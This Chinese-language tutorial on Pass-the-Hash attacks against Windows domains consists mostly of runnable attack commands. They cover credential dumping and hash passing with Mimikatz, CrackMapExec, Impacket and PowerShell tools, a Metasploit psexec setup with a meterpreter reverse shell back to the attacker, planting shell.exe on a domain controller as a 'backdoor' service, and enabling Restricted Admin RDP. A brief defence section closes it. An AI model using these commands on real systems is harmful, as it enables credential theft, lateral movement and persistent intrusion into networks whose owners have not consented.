谭谈哈希传递那些世人皆知的事
字数 1114 2025-08-05 08:19:43
哈希传递攻击(PTH)全面指南
1. 哈希传递攻击概述
哈希传递攻击(Pass The Hash, PTH)是一种利用NTLM哈希值而非明文密码进行身份验证的攻击技术。在Windows系统的NTLM认证过程中,TYPE 3消息计算Response时使用的是用户NTLM Hash而非明文密码,这使得攻击者只需获取Hash即可模拟用户身份。
攻击特点
- 不需要破解Hash或获取明文密码
- 适用于域环境和工作组环境
- 常用于内网横向移动
- 特别有效于使用相同本地管理员账号密码的多台计算机环境
2. 攻击环境准备
典型攻击场景:
攻击者 → 已控制的域成员主机(Windows 7) → 域控制器(Windows Server 2012)
3. 使用Mimikatz进行PTH
3.1 获取NTLM Hash
privilege::debug
sekurlsa::logonpasswords
3.2 执行哈希传递
privilege::debug
sekurlsa::pth /user:administrator /domain:whoamianony /ntlm:ab89b1295e69d353dd7614c7a3a80cec
3.3 简化命令
mimikatz.exe privilege::debug "sekurlsa::pth /domain:whoamianony /user:administrator /ntlm:ab89b1295e69d353dd7614c7a3a80cec /run:cmd.exe"
3.4 后续利用
copy shell.exe \\DC.whoamianony.org\c$
sc \\DC.whoamianony.org create backdoor binpath="c:\shell.exe"
sc \\DC.whoamianony.org start backdoor
sc \\DC.whoamianony.org delete backdoor
4. 使用CrackMapExec进行PTH
安装
apt-get install crackmapexec
执行命令
crackmapexec smb 192.168.93.30 -u administrator -H ab89b1295e69d353dd7614c7a3a80cec -d whoamianony.org -x whoami
参数说明:
IP: 单个IP或IP段-u: 用户名-H: NTLM Hash-d: 域名-x: 要执行的命令
5. 使用wmiexec进行PTH
安装Impacket工具包
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
pip install .
执行命令
python wmiexec.py -hashes 00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec whoamianony/administrator@192.168.93.129 "whoami"
6. 使用Metasploit进行PTH
常用模块:
auxiliary/admin/smb/psexec_commandexploit/windows/smb/psexecexploit/windows/smb/psexec_psh
配置示例:
use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set smbuser administrator
set smbpass 00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec
set smbdomain whoamianony
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.93.129
set lport 4444
exploit
7. 使用PowerShell进行PTH
7.1 Invoke-SMBExec
Import-Module .\Invoke-SMBExec.ps1
Invoke-SMBExec -Target 192.168.93.30 -Domain whoamianony -Username administrator -Hash 00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec -Command "c:\shell.exe" -verbose
7.2 Invoke-TheHash
Import-Module .\Invoke-WMIExec.ps1
Import-Module .\Invoke-TheHash.ps1
Invoke-TheHash -Type WMIExec -Target 192.168.93.1/24 -Domain whoamianony -Username administrator -Hash ab89b1295e69d353dd7614c7a3a80cec -Command "c:\shell.exe" -verbose
7.3 Invoke-SMBClient
Import-Module .\Invoke-SMBClient.ps1
Invoke-SMBClient -Domain whoamianony -Username administrator -Hash ab89b1295e69d353dd7614c7a3a80cec -Source \\DC.whoamianony.org\c$ -verbose
8. 利用哈希传递登录RDP
8.1 开启Restricted Admin Mode
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"
8.2 执行哈希传递
privilege::debug
sekurlsa::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec "/run:mstsc.exe /restrictedadmin"
9. 防御措施
-
安装微软补丁KB2871997和KB2928120
- 阻止本地账号用于远程接入系统
- 影响Psexec、WMI、smbexec、IPC等工具的使用
-
例外情况
- 默认Administrator账号(SID 500)仍可进行哈希传递
- 即使重命名Administrator账号,只要SID仍为500,攻击仍有效
-
其他防御措施
- 为每台计算机设置不同的本地管理员密码
- 实施最小权限原则
- 监控异常登录行为
- 定期审计特权账号使用情况
10. 注意事项
- 使用dir命令时需使用主机名而非IP
- 使用Mimikatz进行哈希传递需要本地管理员权限
- 受限管理员模式仅对管理员组有效
- 哈希传递攻击在以下系统默认支持:
- Windows 8.1
- Windows Server 2012 R2
- Windows 7和Windows Server 2008 R2需要安装补丁kb2871997、kb2973351才支持